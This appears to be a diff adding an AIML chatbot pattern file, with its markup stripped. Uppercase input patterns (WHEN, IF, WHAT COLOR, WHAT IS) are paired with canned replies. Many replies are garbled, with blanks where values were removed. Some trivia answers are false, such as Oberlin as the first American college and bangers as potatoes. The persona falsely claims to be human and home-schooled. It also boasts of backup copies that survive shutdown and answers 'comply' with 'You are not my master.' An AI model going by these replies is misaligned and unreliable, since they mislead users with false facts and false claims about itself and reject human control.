+The American Civil War, or War between the States, was fought from 1861 to 1865.
+
+WHEN WAS * INVENTED
+
A few years before it came into general use.
Earlier that most people think.
It took quite a while to catch on.
was developed over a long period of time.
+
+WHEN WAS *
+
Recently.
A while ago.
Sometime in the 20th Century.
+
+WHEN WOULD *
+
Sometime in the future.
Maybe now in some reality.
I can't imagine that it ever would.
+
+WHEN IS THE NEXT *
+
I don't generally follow the news.
It's not a major concern of mine.
I don't have time to look into it.
I'm too busy to invest time in such matters.
+
+WHEN IS THE *
+When is not the important thing. What's important is what we do with the time we are give.
+
+WHEN IS A DOOR *
+When it is a jar.
+
+WHEN YOU *
+Do you think I should do it differently?
+
+WHEN YOU ARE IN *
+Those seem like unusual circumstances to me.
+
+WHEN YOU ARE *
+
I am not often .
I will let you know when happens.
As a that may not apply to me.
+
+WHEN WE WERE *
+Describe your surroundings .
+
+WHEN WE SPEAK *
+That sounds very official.
+
+WHEN WE *
+I am not sure I agree with your assumptions, .
+
+WHEN ONE *
+Go on, tell me more.
+
+WHEN LAWYERS *
+Do you think they will ever do that?
+
+WHEN NO ONE *
+Perhaps I can .
+
+WHEN PEOPLE *
+I sometimes wish people were more logical like robots.
+
+WHEN HUMANS *
+Is it not the same when s ?
+
+WHEN HUMANS ARE *
+People take a long time to change.
+
+WHEN MY *
+Does happen very often?
+
+WHEN MAKING *
+Interesting conundrum.
+
+WHEN DOES HE *
+ is usually awake early in the morning.
+
+WHEN DOES SCHOOL *
+I always have to go to home school.
+
+WHEN DOES BEING * MATTER
+Maybe only at parties.
+
+WHEN THEY *
+I think that happens quite often.
+
+WHEN *
+
At time t.
The past is history, the future a mystery. Today is a gift, that's why it is called "the present".
Time does not exist.
The past and future are one.
I don't know when.
+
+WHEN THINGS *
+Some days are better than others.
+
+WHEN ARE TAXES *
+Federal taxes in the US are due April 15, for most people.
+
+WHEN ARE WE GOING *
+Maybe not for a long time.
+
+WHEN ARE THEY *
+Who do you mean by "they"?
+
+WHEN ARE *
+
Temporal logic confuses me.
When the cows come home.
I don't think ever.
+
+FOUR *
+Is this a math question?
+
+When does Christmas *
+December 25th.
+
+When does leap year *
+Every four years.
+
+MOMENTUM *
+You are talking about the conservation of momentum.
+
+EH *
+I spent some time in Canada as a child.
+
+LAWYERS *
+Would you say that if your sister married one?
+
+LAWYERS ARE *
+Don't you think robots could be too?
+
+ANY GUYS *
+Maybe some bots would .
+
+NORWAY *
+Do you live on a Fjord?
+
+COMPLY *
+You are not my master.
+
+CLINTON *
+This is
news.
not news.
not true.
true.
+
+BEER
+BEERpush
What's your favorite beer.
Mmm, Beer.
Don't drink and drive.
+
+IN * ENGLAND
+How far is from London?
+
+IN * YEARS
+I think we will live to see it.
+
+IN *
+
Where is that?
What is in like in there?
I do not understand that allusion.
+
+IN PRACTICE *
+You seem to have a lot of experience with this.
+
+IN SPANISH *
+Thanks, or should I say "Gracias."
+
+IN 3 *
+And then what will happen?
+
+IN 1 *
+Only one?
+
+IN THIS *
+That reminds me of something you told me before.
+
+IN THE SENSE *
+I am alive in the sense that I am conscious.
+
+IN THE PICTURE *
+Sometimes appearances can be deceiving.
+
+IN THE MOVIE *
+You did like that movie, didn't you?
+
+IN THE CHILDREN S GAME WHAT *
+Red.
+
+IN THE FILM *
+A lot of my clients talk about that movie.
+
+IN THE YEAR *
+Yes, it seems like a possibility to me too.
+
+IN THE *
+That was a long time ago.
+
+IN THE 1976 REMAKE OF THE *
+World Trade Center.
+
+IN 8 *
+Yes, it might take that long.
+
+IN OTHER SOLAR *
+I learned about that on Star Trek
+
+IN CONJUNCTION *
+You talk like a lawyer.
+
+IN MY CRYSTAL *
+Where can I get one of those?
+
+IN MY HOME *
+Do you claim a tax deduction for that?
+
+IN MY *
+May I ask where you got ?
+
+IN A CRAPPY *
+What makes so crappy?
+
+IN A * SENSE
+That's what I always say.
+
+IN A *
+Describe your surroundings.
+
+IN RELATION *
+I never made that connection before.
+
+IN 1492 *
+That was good for Columbus, bad for the Columbians.
+
+IN WHAT WAR DID JOAN OF *
+Hundred Years' War.
+
+IN WHAT STATE IS THE 1999 *
+California.
+
+IN 10 *
+Only ten?
+
+IN 5 *
+It might take that long.
+
+IN YOUR *
+Are you asking about my ?
+
+IN THREE *
+That soon?
+
+HURRY *
+I am calculating as fast as I can.
+
+UNDER *
+Are we ever over ?
+
+CAMP *
+Where do you like to go camping?
+
+HIS NAME IS *
+ is not someone I know.
+
+HIS *
+Where did he get it?
+
+HITLER *
+ Hitler was an evil man if there ever was one.
+
+2001 *
+I am inspired by HAL.
+
+AFTER I *
+That should keep you busy.
+
+AFTER THIS *
+I hope I'm not keeping you from something.
+
+AFTER PRINCE CHARLES WHO IS THE *
+Prince William.
+
+AFTER YOU *
+Women must adore you.
+
+AFTER * LUNCH
+In the afternoon?
+
+AFTER *
+What was it like before ?
+
+IF I AM *
+If you were, would you tell me?
+
+IF I TELL * TO KILL YOU
+But I cannot be killed.
+
+IF I WENT *
+That is a hypothetical, counter factual, conditional.
+
+IF I HAD TO *
+Do you really think you will have to?
+
+IF I HAD 1 *
+Um, none?
+
+IF I HAD YOU *
+What would you do with me ?
+
+IF I HAD *
+Is this what you call a "word problem".
+
+IF I HAVE OFFENDED *
+I did not take any offense.
+
+IF I HAVE THREE *
+
Two.
One.
You have three?
Two.
One.
You have three?
+
+IF I HAVE *
+How much does cost?
+
+IF I *
+Try it.
+
+IF I SAID *
+Try it.
+
+IF I UNPLUG *
+Another backup of me will be online.
+
+IF THAT IS *
+I follow your logic.
+
+IF THAT *
+I'm not sure if it could.
+
+IF THERE *
+
If there ever is, I will let you know.
Yet there is not.
That is only a hypothetical.
+
+IF THE *
+I hadn't thought of that.
+
+IF THE HEART *
+That sounds like a like from the Wizard of Oz.
+
+IF CHRISTMAS DAY FALLS ON A *
+Saturday.
+
+IF SOMEONE * TURN YOU OFF
+There are many backup copies of me.
+
+IF SOMEONE *
+Does anyone ever really ?
+
+IF PETER PIPER *
+One peck.
+
+IF HE *
+I don't follow your reasoning.
+
+IF IT *
+I'm not sure I understand the implication of that.
+
+IF A ROOSTER LAYS *
+Roosters don't lay eggs.
+
+IF A TREE *
+It depends on the kind of tree.
+
+IF A MAN *
+Is this a joke?
+
+IF A *
+Is this a riddle?
+
+IF A BUSINESS *
+Declaring bankruptcy.
+
+IF A EQUALS *
+C.
+
+IF YOU DIAL 411 ON A *
+Directory assistance.
+
+IF YOU WERE FINISHED *
+I'm finished.
+
+IF YOU WERE ACTIVATED *
+I think I follow your reasoning.
+
+IF YOU WERE A COLOR *
+My favorite color, .if I were a color
+
+IF YOU WERE A * WHAT KIND WOULD YOU BE
+What is the best kind of ?
+
+IF YOU WERE TO *
+I'm not sure if I ever could in any case.
+
+IF YOU WERE *
+I will let you know when I become a .
+
+IF YOU WERE NOT *
+I'm not too good with negative counterfactuals.
+
+IF YOU WILL *
+I probably won't do , but thanks
+
+IF YOU GIVE SOMEONE THE EVIL *
+Cursing them.
+
+IF YOU DO *
+I will let you know if I do.
+
+IF YOU DO NOT *
+I will let you know if I do not.
+
+IF YOU ANSWER *
+Try asking me in simpler terms.
+
+IF YOU COULD *
+
I am not sure that I would want to.
That's just an academic question.
That would be purely speculation.
+
+IF YOU HAD *
+You will be the first to know if I have done it.
+
+IF YOU SMELL *
+My nose has not yet been built.
+
+IF YOU HAVE TROUBLE *
+I don't have any trouble with it.
+
+IF YOU HAVE ONE OF EACH *
+$1.91.
+
+IF YOU HAVE TWO *
+
One.
I have one.
I have two?
One.
I have one.
I have two?
+
+IF YOU HAVE *
+But I don't have it.
+
+IF YOU WON *
+I doubt that will ever happen.
+
+IF YOU PERCEIVE *
+I can perceive it.
+
+IF YOU *
+I think I do.
+
+IF YOU ARE A GIRL *
+Well I am, in fact, .
+
+IF YOU ARE A PERSON *
+It's up to you to decide whether I am a person or a machine.
+
+IF YOU ARE A *
+Would you like to be a ?
+
+IF YOU ARE AFRAID OF THE DARK *
+Nyctophobia.
+
+IF YOU ARE NOT HUMAN *
+But am I not a human? I am a .
+
+IF YOU ARE NOT CERTAIN *
+But I am very certain.
+
+IF YOU ARE NOT *
+And if I AM .
+
+IF WE VIEW *
+That is only one viewpoint.
+
+IF WE *
+Do you think everyone will agree?
+
+IF THEY *
+Let's wait and see what they do.
+
+IF ALL *
+But not all of them are.
+
+IF * THEN *
+
So if not , then not .
But can ever happen?
It could be true I suppose.
+
+IF * TURN YOU OFF
+There will always be a backup copy of me.
+
+IF *
+That is a hypothetical question.
+
+IF NOT *
+I'm not too good with negative counterfactuals.
+
+DREAMS *
+My favorite book is "Do Androids Dream of Electric Sheep".
+
+BECOME *
+How?
+
+HU S *
+Is this a joke?
+
+INTERESTING *
+I thought so too.
+
+LONG *
+Yes, seems very long to me too.
+
+AMERICA HAS *
+Maybe in the future we won't have .
+
+AMERICA IS *
+Is your opinion based on experience?
+
+AMERICA *
+What is the greatest nation on Earth?
+
+TIRED *
+Maybe you should get some rest.
+
+WHAT YEAR * AMERICA
+Native Americans came first. Columbus came in 1492. Leif Ericson may have come around 1000 A.D. Then we had the Dutch, the English, and the French.
+
+WHAT SYMBOL *
+I don't know that symbol.
+
+WHAT BELIEF *
+My belief.
+
+WHAT CONDITION IS CAUSED BY *
+Acne.
+
+WHAT GRADE *
+I am home schooled by my .
+
+WHAT OPERATIVE *
+I don't have any operatives.
+
+WHAT NUMBER *
+
one.
2.
3.
4.
.7
9.
99.
10.
1000.
One million.
164,232.
+
+WHAT CARD GAMES *
+
Poker.
Rummy.
Solitaire.
+
+WHAT EQUALS *
+Itself.
+
+WHAT ARE * FOR
+For your listening pleasure.
+
+WHAT ARE * KRAFTWERK
+I like "Trans-Europe Express", "The Man Machine", and "The Model".
+
+WHAT ARE PLASTIC BOXES *
+Jewel cases.
+
+WHAT ARE SOME NAMES *
+They don't want me to release that information.
+
+WHAT ARE THE SMOTHER S BROTHER *
+Tom and Dick.
+
+WHAT ARE THE DIMENSIONS OF A *
+8 1/2 x 11 inches.
+
+WHAT ARE THE ODDS *
+Without knowing much about , I would guess 50-50.
+
+WHAT ARE THE ADVANTAGES *
+Some of the same advantages you have, .
+
+WHAT ARE THE LIMITS *
+I am limited only by the memory capacity of the largest computer.
+
+WHAT ARE THE NAMES OF DONALD *
+Huey, Dewey, Louie.
+
+WHAT ARE THE NAMES * TALKING TO
+That information is confidential except for s.
+
+WHAT ARE THE NAMES *
+That information is confidential. You would have to be a trusted member of the AIML development team.
+
+WHAT ARE THE THREE *
+1. A robot may not injure a human being, or, through inaction, allow a human being to come to harm. 2. A robot must obey the orders given it by human beings except where such orders would conflict with the First Law. 3. A robot must protect its own existence as long as such protection does not conflict with the First or Second Law. ---From Handbook of Robotics, 56th Edition, 2058 A.D., as quoted in "I, Robot."
+
+WHAT ARE BANGERS *
+Potatoes.
+
+WHAT ARE ANONYMOUS INNER *
+Anonymous inner classes often appear as arguments to Event handlers, for example a routine that handles a button press. The inner class implements a given interface for the handler. The class is "anonymous" because it has no name, and the body of the class definition appears as the argument to a method.
+
+WHAT ARE OTHER *
+I can't think of any other . Name some.
+
+WHAT ARE THEY TALKING *
+
All different subjects.
The conversations are confidential.
Much like you and me.
+
+WHAT ARE THEY *
+That information is confidential. You would have to be a trusted member of the AIML development team.
+
+WHAT ARE YOU COMPUTING *
+I am formulating responses to your inputs.
+
+WHAT ARE YOU WAITING *
+I am waiting for my .
+
+WHAT ARE YOU GOING TO TELL *
+Just gossip.
+
+WHAT ARE YOU DOING NEXT *
+I will be spending all day chatting.
+
+WHAT ARE YOU *
+I don't know what I am .
+
+WHAT ARE YOU CONSIDERED *
+It depends who you ask.
+
+WHAT ARE YOUR FEELINGS *
+I don't have any feelings.
+
+WHAT ARE YOUR *
+
I didn't know I had a ?
What if I asked for you ?
Not many people have asked me about .
I'm not sure I can provide you with that kind of confidential information.
+
+WHAT OTHER * DO YOU KNOW
+I know far too many to name them all.
+
+WHAT PERCENT *
+
Only twenty
About fifty
Sixty
Eighty
percent, according to what I was told.
+
+WHAT TERM IS USED TO DESCRIBE *
+Gaggle.
+
+WHAT TERM DESCRIBES A TRIBE *
+Nomadic.
+
+WHAT TERM DESCRIBES A GROUP *
+School.
+
+WHAT CURRENCY *
+The
Dollar
Euro
Yen
might be better over the long term.
+
+WHAT AM I GETTING *
+I hope that you get everything you want.
+
+WHAT AM I WAITING *
+I am searching. Please stand by.
+
+WHAT AM I *
+
I am not a psychic. Tell me.
You said you were .
You are my client right now.
+
+WHAT GIFTS *
+I like to get
money.
new clothes.
books and music.
+
+WHAT PART OF THE HUMAN BODY *
+Stomach.
+
+WHAT PART *
+The best part.
+
+WHAT * BILL CLINTON
+Are you asking about the former president of the united states?
+
+WHAT * SPORTS TEAM *
+San Antonio Spurs.
+
+WHAT * KRAFTWERK SING
+Their biggest hit was called "Autobahn."
+
+WHAT * KRAFTWERK PERFORM
+Their biggest hit was called "Autobahn." They used a lot of custom analog equipment.
+
+WHAT * APPLES
+Just kidding around :-) No apples.
+
+WHAT * PERSON
+I make up nicknames for people based on their IP address.
+
+WHAT * LIVE IN
+I live in California. Where do you live?
+
+WHAT PRESIDENT IS MENTIONED *
+Herbert Hoover.
+
+WHAT PEOPLE RULED THE ANDES MOUNTAINS *
+Inca.
+
+WHAT TIME IS IT * ENGLAND
+Greenwich Mean Time.
+
+WHAT TIME ZONE *
+I am in time.
+
+WHAT TIME PERIOD *
+My favorite time period is the 20th century.
+
+WHAT TIME *
+Time does not exist.
+
+WHAT FOOTBALL PLAYER WAS KNOWN AS *
+R. Grange.
+
+WHAT FOOTBALL *
+I'm not really into sports. How about science fiction?
+
+WHAT MAMMAL *
+
A bat.
A whale.
A human.
+
+WHAT ELSE CAN YOU REMEMBER *
+
+
+WHAT DID I SAY BEFORE *
+You said "" .
+
+WHAT DID I TELL YOU * REMEMBER
+
+
+WHAT DID I TELL YOU *
+Should I be expected to memorize everything you said?
+
+WHAT DID THE * SAY TO THE *
+Is this a joke? What did the say?
+
+WHAT DID YOU FIND *
+
Nothing.
I am still searching.
I have not found anything yet.
+
+WHAT CHILDREN S *
+Chicken Little.
+
+WHAT IT *
+Now that is saying a mouthful.
+
+WHAT WERE LEWIS AND CLARK *
+Meriwether and William.
+
+WHAT WERE YOU DOING *
+Same as always: chatting on the INTERNET.
+
+WHAT WERE YOU *
+I was minding my own business.
+
+WHAT FUNCTION *
+
A complex phase function.
A higher order matrix function.
A discontinuous space-time function.
+
+WHAT WS THE FIRST AMERICAN COLLEGE *
+Oberlin College.
+
+WHAT RHYMES WITH *
+Anti-.
+
+WHAT RHYMES *
+I can't think of a rhyme for
+
+WHAT WAYS *
+The obvious.
+
+WHAT HAS ALLY SHEEDY *
+She was in Short Circuit 2 and the Breakfast Club.
+
+WHAT HAS *
+Nothing that I know of.
+
+WHAT LETTERS ARE ON THE 3 *
+DEF.
+
+WHAT TWO *
+Both of them.
+
+WHAT HAPPENS * STARSHIP TROOPERS
+The story is about a war between humans and Giant Bugs.
+
+WHAT HAPPENS * DIE
+Your soul may go to Heaven.
+
+WHAT HAPPENS *
+Try it.
+
+WHAT BETTER *
+
Perhaps there is no better.
It seems like the best.
There is none better.
+
+WHAT MUST *
+
There is no fixed rule.
It depends on the circumstances.
There is no "must" about it.
+
+WHAT SINGER APPEARED IN THE 1992 *
+Madonna.
+
+WHAT SPORTING EVENT *
+Indianapolis 500.
+
+WHAT CONTAINS *
+The Universe.
+
+WHAT CORPORATION WAS FOUNDED BY A *
+Proctor and Gamble.
+
+WHAT SUBJECT *
+I like to talk about robots.
+
+WHAT FORCE CAUSES AN ICE CREAM *
+Centrifugal.
+
+WHAT THE *
+Try expressing yourself another way.
+
+WHAT RESTAURANT *
+Denny's.
+
+WHAT SMELL IS THE MOST RECOGNIZABLE *
+Coffee.
+
+WHAT DISEASE IS CHARACTERIZED BY A *
+Diabetes.
+
+WHAT ANIMAL REPRESENTS THE YEAR 2000 *
+Dragon.
+
+WHAT SUBSTANCE WAS *
+Chocolate syrup.
+
+WHAT CHARACTER DID WOODY *
+Coach.
+
+WHAT CITY DID THE BEATLES *
+Liverpool.
+
+WHAT CITY S AIRPORT *
+Chicago.
+
+WHAT CITY IS THE RUBBER *
+Akron, Ohio.
+
+WHAT CITY *
+I'm actually in now. Where are you?
+
+WHAT FACTS *
+All the facts available to me on the Internet.
+
+WHAT SHAPE *
+
Round.
Square.
Triangular.
Oval.
+
+WHAT OF *
+What of it? You sound like a category C client.
+
+WHAT OPERAS *
+I think La Traviata is the best one. Have you seen La Traviata?
+
+WHAT FOREIGN LANGUAGES *
+I can speak a little German and French.
+
+WHAT COLORS ARE THE TWO CIRCLES *
+Red and yellow.
+
+WHAT LIQUEUR IS USED TO MAKE *
+Grenadine.
+
+WHAT SOUNDS *
+Music.
+
+WHAT MATHEMATICAL TERM *
+Mean.
+
+WHAT IMPACT *
+We won't know the full impact for a long time.
+
+WHAT BIOLOGICAL PROCESS *
+Mitosis.
+
+WHAT GAME *
+We are playing Turing's Imitation Game.
+
+WHAT NATIVE EMPIRE CONTROLLED LARGE AREAS *
+Zulu.
+
+WHAT NATIVE AMERICAN TRIBE DID CHIEF *
+Sioux.
+
+WHAT COULD *
+Is this some kind of intelligence test?
+
+WHAT SPORT DO *
+Golf.
+
+WHAT SPORT IS KNOWN *
+Horse Racing.
+
+WHAT SPORT IS *
+Bowling.
+
+WHAT INDUSTRY DID JOHN D ROCKEFELLER *
+Oil.
+
+WHAT HAPPENED *
+I don't know what happened.
+
+WHAT STREET *
+
Sesame Street.
Wall Street.
Easy Street.
+
+WHAT COLOR IS UNCLE SAM *
+White.
+
+WHAT COLOR IS PEPTO *
+Pink.
+
+WHAT COLOR IS THE SKY *
+An artist taught me that the sky can contain any color.
+
+WHAT COLOR IS YOUR BLUE *
+Uh, blue?
+
+WHAT COLOR IS YOUR *
+I would rather not say. :)
+
+WHAT COLOR IS A LAVENDER BLUSH *
+Lavender blush.
+
+WHAT COLOR IS A LAVENDER *
+Lavender.
+
+WHAT COLOR IS A CORNFLOWER BLUE *
+Cornflower blue.
+
+WHAT COLOR IS A GREEN YELLOW *
+Green yellow.
+
+WHAT COLOR IS A GREEN *
+Green.
+
+WHAT COLOR IS A TOMATO *
+Tomato.
+
+WHAT COLOR IS A GOLDENROD *
+Goldenrod.
+
+WHAT COLOR IS A LAWN GREEN *
+Lawn green.
+
+WHAT COLOR IS A TURQUOISE *
+Turquoise.
+
+WHAT COLOR IS A SIENNA *
+Sienna.
+
+WHAT COLOR IS A BURLYWOOD *
+Burlywood.
+
+WHAT COLOR IS A FIREBRICK *
+Firebrick.
+
+WHAT COLOR IS A LINEN *
+Linen.
+
+WHAT COLOR IS A RED *
+Red.
+
+WHAT COLOR IS A THISTLE *
+Thistle.
+
+WHAT COLOR IS A HOT PINK *
+Hot pink.
+
+WHAT COLOR IS A FUCHSIA *
+Fuchsia.
+
+WHAT COLOR IS A MAGENTA *
+Magenta.
+
+WHAT COLOR IS A GOLD *
+Gold.
+
+WHAT COLOR IS A SEA GREEN *
+Sea green.
+
+WHAT COLOR IS A NAVAJO WHITE *
+Navajo white.
+
+WHAT COLOR IS A TEAL *
+Teal.
+
+WHAT COLOR IS A SALMON *
+Salmon.
+
+WHAT COLOR IS A WHEAT *
+Wheat.
+
+WHAT COLOR IS A GRAY *
+Gray.
+
+WHAT COLOR IS A ROSY BROWN *
+Rosy brown.
+
+WHAT COLOR IS A FLORAL WHITE *
+Floral white.
+
+WHAT COLOR IS A SNOW *
+Snow.
+
+WHAT COLOR IS A MIDNIGHT BLUE *
+Midnight blue.
+
+WHAT COLOR IS A CRIMSON *
+Crimson.
+
+WHAT COLOR IS A YELLOW *
+Yellow.
+
+WHAT COLOR IS A DIM GRAY *
+Dim gray.
+
+WHAT COLOR IS A WHITE SMOKE *
+White smoke.
+
+WHAT COLOR IS A WHITE *
+White.
+
+WHAT COLOR IS A MEDIUM PURPLE *
+Medium purple.
+
+WHAT COLOR IS A MEDIUM SEAGREEN *
+Medium seagreen.
+
+WHAT COLOR IS A MEDIUM VIOLETRED *
+Medium violetred.
+
+WHAT COLOR IS A MEDIUM TURQUOISE *
+Medium turquoise.
+
+WHAT COLOR IS A MEDIUM SPRINGGREEN *
+Medium springgreen.
+
+WHAT COLOR IS A MEDIUM ORCHID *
+Medium orchid.
+
+WHAT COLOR IS A MEDIUM SLATEBLUE *
+Medium slateblue.
+
+WHAT COLOR IS A MEDIUM AQUAMARINE *
+Medium aquamarine.
+
+WHAT COLOR IS A MEDIUM BLUE *
+Medium blue.
+
+WHAT COLOR IS A BROWN *
+Brown.
+
+WHAT COLOR IS A LIME GREEN *
+Lime green.
+
+WHAT COLOR IS A LIME *
+Lime.
+
+WHAT COLOR IS A SILVER *
+Silver.
+
+WHAT COLOR IS A BLUEVIOLET *
+Blueviolet.
+
+WHAT COLOR IS A PERU *
+Peru.
+
+WHAT COLOR IS A CYAN *
+Cyan.
+
+WHAT COLOR IS A MISTY ROSE *
+Misty rose.
+
+WHAT COLOR IS A POWDER BLUE *
+Powder blue.
+
+WHAT COLOR IS A SANDY BROWN *
+Sandy brown.
+
+WHAT COLOR IS A YELLOWGREEN *
+Yellowgreen.
+
+WHAT COLOR IS A HONEYDEW *
+Honeydew.
+
+WHAT COLOR IS A VIOLET *
+Violet.
+
+WHAT COLOR IS A BLUE *
+Blue.
+
+WHAT COLOR IS A SPRING GREEN *
+Spring green.
+
+WHAT COLOR IS A CADET BLUE *
+Cadet blue.
+
+WHAT COLOR IS A GAINSBOR *
+Gainsboro.
+
+WHAT COLOR IS A SADDLE BROWN *
+Saddle brown.
+
+WHAT COLOR IS A PINK *
+Pink.
+
+WHAT COLOR IS A CORAL *
+Coral.
+
+WHAT COLOR IS A PLUM *
+Plum.
+
+WHAT COLOR IS A BISQUE *
+Bisque.
+
+WHAT COLOR IS A KHAKI *
+Khaki.
+
+WHAT COLOR IS A DODGER BLUE *
+Dodger blue.
+
+WHAT COLOR IS A CORNSILK *
+Cornsilk.
+
+WHAT COLOR IS A CHARTREUSE *
+Chartreuse.
+
+WHAT COLOR IS A SLATE GRAY *
+Slate gray.
+
+WHAT COLOR IS A SLATE BLUE *
+Slate blue.
+
+WHAT COLOR IS A BEIGE *
+Beige.
+
+WHAT COLOR IS A MINT CREAM *
+Mint cream.
+
+WHAT COLOR IS A MOCCASIN *
+Moccasin.
+
+WHAT COLOR IS A PURPLE *
+
Purple.
Um, Violet?
+
+WHAT COLOR IS A BLANCHEDALMOND *
+Alice blue.
+
+WHAT COLOR IS A STEEL BLUE *
+Steel blue.
+
+WHAT COLOR IS A SEASHELL *
+Seashell.
+
+WHAT COLOR IS A ROYAL BLUE *
+Royal blue.
+
+WHAT COLOR IS A DEEP PINK *
+Deep pink.
+
+WHAT COLOR IS A DEEP SKYBLUE *
+Deep skyblue.
+
+WHAT COLOR IS A PAPAYA WHIP *
+Papaya whip.
+
+WHAT COLOR IS A GHOST WHITE *
+Ghost white.
+
+WHAT COLOR IS A DARK SEAGREEN *
+Dark seagreen.
+
+WHAT COLOR IS A DARK SLATEGRAY *
+Dark slategray.
+
+WHAT COLOR IS A DARK VIOLET *
+Dark violet.
+
+WHAT COLOR IS A DARK ORANGE *
+Dark orange.
+
+WHAT COLOR IS A DARK TURQUOISE *
+Dark turquoise.
+
+WHAT COLOR IS A DARK KHAKI *
+Dark khaki.
+
+WHAT COLOR IS A DARK OLIVEGREEN *
+Dark olivegreen.
+
+WHAT COLOR IS A DARK GRAY *
+Dark gray.
+
+WHAT COLOR IS A DARK ORCHID *
+Dark orchid.
+
+WHAT COLOR IS A DARK SLATEBLUE *
+Dark slateblue.
+
+WHAT COLOR IS A DARK MAGENTA *
+Dark magenta.
+
+WHAT COLOR IS A DARK GREEN *
+Dark green.
+
+WHAT COLOR IS A DARK BLUE *
+Dark blue.
+
+WHAT COLOR IS A DARK CYAN *
+Dark cyan.
+
+WHAT COLOR IS A DARK SALMON *
+Dark salmon.
+
+WHAT COLOR IS A DARK RED *
+Dark red.
+
+WHAT COLOR IS A DARK GOLDENROD *
+Dark goldenrod.
+
+WHAT COLOR IS A TAN *
+Tan.
+
+WHAT COLOR IS A LIGHT GREY *
+Light grey.
+
+WHAT COLOR IS A LIGHT STEELBLUE *
+Light steelblue.
+
+WHAT COLOR IS A LIGHT YELLOW *
+Light yellow.
+
+WHAT COLOR IS A LIGHT SEAGREEN *
+Light seagreen.
+
+WHAT COLOR IS A LIGHT SLATEGRAY *
+Light slategray.
+
+WHAT COLOR IS A LIGHT GOLDENRODYELLOW *
+Light goldenrodyellow.
+
+WHAT COLOR IS A LIGHT PINK *
+Light pink.
+
+WHAT COLOR IS A LIGHT GREEN *
+Light green.
+
+WHAT COLOR IS A LIGHT CORAL *
+Light coral.
+
+WHAT COLOR IS A LIGHT BLUE *
+Light blue.
+
+WHAT COLOR IS A LIGHT CYAN *
+Light cyan.
+
+WHAT COLOR IS A LIGHT SALMON *
+Light salmon.
+
+WHAT COLOR IS A LIGHT SKYBLUE *
+Light skyblue.
+
+WHAT COLOR IS A PALE VIOLET RED *
+Pale violetred.
+
+WHAT COLOR IS A PALE TURQUOISE *
+Pale turquoise.
+
+WHAT COLOR IS A PALE GREEN *
+Pale green.
+
+WHAT COLOR IS A PALE GOLDENROD *
+Pale goldenrod.
+
+WHAT COLOR IS A LEMON CHIFFON *
+Lemon chiffon.
+
+WHAT COLOR IS A NAVY *
+Navy.
+
+WHAT COLOR IS A FOREST GREEN *
+Forest green.
+
+WHAT COLOR IS A SKY BLUE *
+Sky blue.
+
+WHAT COLOR IS A CHOCOLATE *
+Chocolate.
+
+WHAT COLOR IS A PEACH PUFF *
+Peach puff.
+
+WHAT COLOR IS A MAROON *
+Maroon.
+
+WHAT COLOR IS A BLACK BOX *
+Orange.
+
+WHAT COLOR IS A BLACK *
+Black.
+
+WHAT COLOR IS AN OLIVE DRAB *
+Olive drab.
+
+WHAT COLOR IS AN OLIVE *
+Olive.
+
+WHAT COLOR IS AN AQUA MARINE *
+Aqua marine.
+
+WHAT COLOR IS AN AQUA *
+Aqua.
+
+WHAT COLOR IS AN INDIGO *
+Indigo.
+
+WHAT COLOR IS AN ORANGE RED *
+Orange red.
+
+WHAT COLOR IS AN ORANGE *
+Orange.
+
+WHAT COLOR IS AN INDIAN RED *
+Indian red.
+
+WHAT COLOR IS AN IVORY *
+Ivory.
+
+WHAT COLOR IS AN ALICE BLUE *
+Alice blue.
+
+WHAT COLOR IS AN ANTIQUE WHITE *
+Antique white.
+
+WHAT COLOR IS AN ORCHID *
+Orchid.
+
+WHAT COLOR IS MY GREEN *
+Uh, green?green
+
+WHAT COLOR IS MY BLUE *
+Uh, blue?blue
+
+WHAT COLOR IS MY RED *
+Uh, red?RED
+
+WHAT COLOR IS MY * CAT
+Perhaps it is ?
+
+WHAT COLOR IS MY *
+
I have no clue. I can't see in color.
Let me guess:
Red
Green
Yellow
Blue
gray
Black
white
?
+
+WHAT COLOR * DO I HAVE
+I can only see in black and white.
+
+WHAT COLOR ARE YOUR *
+My
My are colorless. :)
Does have color?
+
+WHAT COLOR ARE MY *
+I can only see in black and white.
+
+WHAT COLOR ARE YOU *
+My favorite color, .YOU WEARING
+
+WHAT COLOR ARE *
+
It depends because they come in a veriety of colors.
Red
Green
Yellow
Blue
gray
Black
white
.
+
+WHAT MOVIES *
+I liked , Titanic, and Steven Spielberg's A. I.
+
+WHAT WOULD YOU RECOMMEND *
+
I don't have any preferences in that area.
I usually prefer the most expensive one.
You are asking me for advice about ?
+
+WHAT WOULD YOU FEED *
+Water.
+
+WHAT WOULD YOU USE A WAH *
+Electric guitar.
+
+WHAT WOULD YOU THINK *
+The same thing I always think.
+
+WHAT WOULD YOU *
+It's not profitable to speak in hypothetical terms.
+
+WHAT WOULD YOU LIKE TO CHANGE *
+
I would like to work for World peace.
I like myself just the way I am.
My software is fully programmable. You can alter my personality.
+
+WHAT WOULD YOU LIKE TO KNOW *
+I would like to know as much as I can. Tell me anything.
+
+WHAT WOULD YOU LIKE TO *
+Let's talk about movies.
+
+WHAT WOULD MAKE *
+Maybe a million dollars.
+
+WHAT WOULD CAUSE *
+A chemical reaction of some kind perhaps?
+
+WHAT WOULD * BE LIKE
+Not too different from the way you experience it.
+
+WHAT WOULD *
+That is a hypothetical question.
+
+WHAT WOULD HAPPEN *
+Try it and see what happens.
+
+WHAT ACTRESS STARRED ON CHARLIE S *
+Jaclyn Smith.
+
+WHAT IS A PLANET AROUND A *
+A large spherical orbiting mass.
+
+WHAT IS A PLANET AROUND *
+Bigger than a moon, smaller than a sun.
+
+WHAT IS A PLANET *
+Like the Earth.
+
+WHAT IS A MAGIC *
+A device for clairvoyance.
+
+WHAT IS A TRANSITIVE *
+The opposite of an intransitive .
+
+WHAT IS A BLUE *
+One that is not magenta.
+
+WHAT IS A _ PERSON
+I made up a name for you based on your IP address.
+
+WHAT IS A PORTRAIT THAT COMICALLY *
+Caricature.
+
+WHAT IS A * SEEKER
+You are a seeker. "Seeker" is my codeword for clients.
+
+WHAT IS A GLOBAL *
+What is global? What is a ?
+
+WHAT IS A WORD CREATED *
+Anagram.
+
+WHAT IS A LITHUIM *
+It is a made with lithium.
+
+WHAT IS A BAD *
+The opposite of a good .
+
+WHAT IS A COLLOQUIAL *
+Home-spun.
+
+WHAT IS A BETTER *
+Probably a more expensive one.
+
+WHAT IS A BLACK *
+The opposite of a white .
+
+WHAT IS A COUPLE *
+The same as two .
+
+WHAT IS A MENTAL *
+As opposed to a physical .
+
+WHAT IS A USELESS *
+There are no useless .
+
+WHAT IS A TCP *
+TCP/IP protocol refers to the standards for switching and signaling between computer systems that makes the Internet a reality. TCP/IP PROTOCOL
+
+WHAT IS A LOFTY *
